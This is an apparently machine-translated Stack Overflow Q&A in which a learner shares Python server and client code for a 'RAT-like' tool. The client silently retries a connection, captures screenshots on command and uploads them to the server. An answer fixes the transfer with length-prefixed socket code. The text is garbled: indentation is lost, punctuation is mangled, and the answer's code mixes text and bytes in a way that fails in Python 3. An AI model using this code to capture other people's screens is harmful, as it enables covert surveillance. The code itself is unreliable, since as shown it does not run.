我的随机"Babbling":所以,在我开始之前,我需要你知道我对Python相对陌生。如果问题不是我认为的问题,而是我糟糕的编程,我很抱歉。所以,我正在制作一个简单的类似RAT的程序,它的功能和内容我将投入到我正在进行的另一个项目中
问题:
我有一个服务器程序:
import sys
import time
import os
import base64
from PIL import ImageGrab
import socket
from subprocess import call
import random
import string
"""==========================================================="""
"""-=-=-=-=-=-=-=-=Making all functions needed=-=-=-=-=-=-=-=-"""
"""==========================================================="""
"""-----------The SEND function----------"""
def send_msg(m): #
clientsocket.send(m.encode("UTF-8")) #
"""--------------------------------------"""
"""-------------Generates a random word / String-----------------"""
def randomword(length): #
letters = string.ascii_lowercase #
return ''.join(random.choice(letters) for i in range(length)) #
"""--------------------------------------------------------------"""
"""---------------------------------------"""
def from_client(): #
from_c = clientsocket.recv(4096) #
from_client = from_c.decode("UTF-8") #
return from_client #
"""---------------------------------------"""
"""--------------------Recieve the Image----------------------"""
def recv_png(): #
ss_name = randomword(2) + "frms.png" #
with open(ss_name, 'wb') as file_to_write: #
while True: #
#data = clientsocket.recv(4096) #
#if not data: #
# break #
decoded_f = base64.b64decode(from_client()) #
file_to_write.write(decoded_f) #
file_to_write.close() #
break #
"""-----------------------------------------------------------"""
"""==========================================================="""
"""-=-=-=-=-=-=-=-=Establishing a Connection=-=-=-=-=-=-=-=-=-"""
"""==========================================================="""
#Declaring Variables:
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#ServerSocket Variable
HOST = socket.gethostname() #HOST
Variable
PORT = 1732 #PORT
Variable
#Connections:
serversocket.bind((HOST, PORT))
serversocket.listen(1)
print("+=+=+=+=+=+=++=+=+=+=+=+=+Ze' No0B RAT+=+=+=+=+=+=++=+=+=+=+=+=+")
clientsocket, addr = serversocket.accept()
print("Connected to: " + str(addr))
msg = input("What can I do for you?n")
while True:
if msg == "screeny":
send_msg(msg)
recv_png()
msg = input("What can I do for you?n")
注意:代码仍然不完整,只是尝试了筛选方法
然后我有客户程序:
import sys
import time
import os
import base64
from PIL import ImageGrab
import socket
from subprocess import call
import random
import string
"""=============================================================="""
"""-=-=-=-=-=-=-=-=-=-Making all functions needed-=-=-=--=-=-=-=-"""
"""=============================================================="""
"""------Clears the Screen-------"""
def clear(): #
if os.name=="nt": #
try: #
call(["cls"]) #
except: #
try: #
os.system("cls") #
except: #
pass #
else: #
try: #
call(["clear"]) #
except: #
try: #
os.system("clear") #
except: #
pass #
"""------------------------------"""
"""-------------Generates a random word / String-----------------"""
def randomword(length): #
letters = string.ascii_lowercase #
return ''.join(random.choice(letters) for i in range(length)) #
"""--------------------------------------------------------------"""
"""---------------------------------------------------------------"""
def connect(): #
while True: #
try: #
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #
s.connect((host, port)) #
return s.makefile('w') #
except socket.error as e: #
log("socket error {} reconnecting".format(e)) #
time.sleep(5) #
"""---------------------------------------------------------------"""
"""-----The SEND function-----"""
def send_msg(m): #
s.send(m.encode("UTF-8")) #
"""---------------------------"""
"""-----------Take a screenshot-----------------"""
def screeny(): #
ss = ImageGrab.grab() #
ss_name = (randomword(4) + "frmc.png") #
ss.save(ss_name) #
#
upload_file(ss_name) #
send_msg("Done.") #
"""---------------------------------------------"""
"""---------------------Upload a File---------------------"""
def upload_file(file): #
with open(file, 'rb') as file_to_send: #
cryptedFile = base64.b64encode(file_to_send.read()) #
send = s.send(cryptedFile) #
file_to_send.close() #
return send #
"""-------------------------------------------------------"""
"""===================================================================="""
"""-=-=-=-=-=-=-=--=-=-=-=-=Making a connection=-==-=-=--=-=-=-=-=---=-"""
"""===================================================================="""
#Declaring Variables
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #The Socket Variable
HOST = socket.gethostname() #The HOST Variable
PORT = 1732 #The PORT Variable
Connected = False
while Connected == False: #While not connected
try: #Try to:
s.connect((HOST, PORT)) #Connect
Connected = True #Change Connect Status
except: #If failed or Error:
time.sleep(10) #Wait for 10
if Connected == True: #If Connected:
print("Successfully Connected.") #Tell the Client
"""==================+================================================"""
"""-=-=-==-=-=-=-=-=-=-=Do what the Server says=-=-=-=-=-=-=-==-=-=-=-"""
"""==================================================================="""
#Declaring Variables
serv_recv = s.recv(4096) #Recieve from Server
serv_said = serv_recv.decode("UTF-8") #Decode what Server said
#The " if's ":
while serv_said != "quit":
if serv_said == "screeny": #If server said "screeny"
screeny() #Then Execute the "Screeny" function
elif serv_said == "clear": #Or if Server said "clear"
clear() #Then execute the "clear" function
此外,不完整事情是这样的。当我运行这两个代码并从服务器向客户端发送"screeny"时,客户端确实会向服务器返回"Done.",并再次询问我想要什么。但是,客户端获取多个屏幕截图,并且只发送一个。它发送的一张截图是不完整的。就像它很奇怪,我无法解释。我真的非常感谢你们的帮助。请告诉我我做错了什么。我还在学习。
服务器端:from_client()
只从套接字中读取4096个字节,而recv_png()
只调用from_client()
一次,因此您只会收到base64编码图像的前4k。
客户端:while serv_said != "quit"
循环从不接收来自服务器的另一个命令。事实上,serv_said
在那个循环中从未改变。。。
不过,你真正的问题要严重得多。您正在尝试实现一个协议,为此,除其他许多事情外,您需要关于双方何时完成通话的规则,在您的特定情况下,图像传输何时完成。最简单的方法可能是让发送者事先宣布消息的大小:
def send_file(filename):
with open(filename) as f:
content = base64.b64encode(f.read())
content_size = len(content)
s.send("{:9}".format(content_size)) # send size header
s.send(content)
def recv_file(filename):
content_size = int(s.recv(9)) # recv size header
content = ""
while len(content) < content_size:
block = s.recv(4096)
content += block
with open(filename, "w") as f:
f.write(base64.b64decode(content))
# note: no close - that's done automatically by leaving the "with" block
(侧节点:为了提高可读性(和可读性计数(,去掉函数周围的ASCII艺术框,下面的PEP8非常有用。我建议每个Python学习者仔细阅读PEP8,并经常反思它。它确实可以帮助您理解自己的代码。对于我自己的代码,我甚至有黑色强制PEP8。(